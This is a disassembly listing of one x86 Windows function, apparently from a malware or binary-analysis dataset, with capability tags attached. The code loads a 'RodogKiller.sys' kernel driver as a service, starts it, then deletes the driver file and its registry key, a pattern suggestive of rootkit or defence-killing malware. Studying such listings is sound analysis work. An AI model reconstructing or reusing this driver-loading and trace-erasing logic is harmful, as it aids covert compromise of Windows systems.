Function at 0x408410
Capabilities:
Create directory
Delete file
Delete registry key
Get common file path
Query service status
Start service

Disassembly:
sub esp, 0x228
push ebx
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push str.._rodogprotect
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x408448
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebx
add esp, 0x228
ret
push esi
lea eax, [esp + 0x28]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, 0x104
lea eax, [esp + 0x28]
cmp byte [eax], 0
je 0x40846d
inc eax
dec ecx
jne 0x408462
jmp 0x4084b1
test ecx, ecx
je 0x4084b1
lea edx, [esp + 8]
test edx, edx
je 0x408482
mov eax, 0x104
sub eax, ecx
jmp 0x408486
mov eax, dword [esp + 8]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x28]
je 0x4084b1
mov esi, str._temp_
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x4084a9
mov byte [eax], cl
inc eax
dec edx
jne 0x40849a
jmp 0x4084ad
test edx, edx
jne 0x4084ae
dec eax
mov byte [eax], 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x2c]
push 0
push eax
call edi
mov ecx, 0x104
lea eax, [esp + 0x2c]
cmp byte [eax], 0
je 0x4084d5
inc eax
dec ecx
jne 0x4084ca
jmp 0x408519
test ecx, ecx
je 0x408519
lea edx, [esp + 0xc]
test edx, edx
je 0x4084ea
mov eax, 0x104
sub eax, ecx
jmp 0x4084ee
mov eax, dword [esp + 0xc]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x2c]
je 0x408519
mov esi, str.krodog_
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x408511
mov byte [eax], cl
inc eax
dec edx
jne 0x408502
jmp 0x408515
test edx, edx
jne 0x408516
dec eax
mov byte [eax], 0
lea eax, [esp + 0x2c]
push 0
push eax
call edi
lea ecx, [esp + 0x130]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, 0x104
lea eax, [esp + 0x130]
pop edi
cmp byte [eax], 0
je 0x40854d
inc eax
dec ecx
jne 0x408542
jmp 0x408594
test ecx, ecx
je 0x408594
lea edx, [esp + 8]
test edx, edx
je 0x408562
mov eax, 0x104
sub eax, ecx
jmp 0x408566
mov eax, dword [esp + 8]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x12c]
je 0x408594
mov esi, str.driversRodogKiller.sys
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x40858c
mov byte [eax], cl
inc eax
dec edx
jne 0x40857d
jmp 0x408590
test edx, edx
jne 0x408591
dec eax
mov byte [eax], 0
lea eax, [esp + 0x12c]
push eax
call fcn.00408650
lea ecx, [esp + 0x130]
push ecx
push str.RodogKiller
call fcn.00408390
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4085ee
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4085da
cmp dword [esp + 0x10], 4
jne 0x4085da
mov ebx, 1
jmp 0x4085e7
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebx, eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [esp + 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.SYSTEMCurrentControlSetServicesRodogKiller
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov eax, dword [0x422f28]
pop esi
test eax, eax
jne 0x40863a
test ebx, ebx
push 0
je 0x408623
push str.dummysyssuccess
jmp 0x408628
push str.dummysysfailed
call fcn.00409a50
add esp, 8
mov dword [0x422f28], 1
mov eax, ebx
pop ebx
add esp, 0x228
ret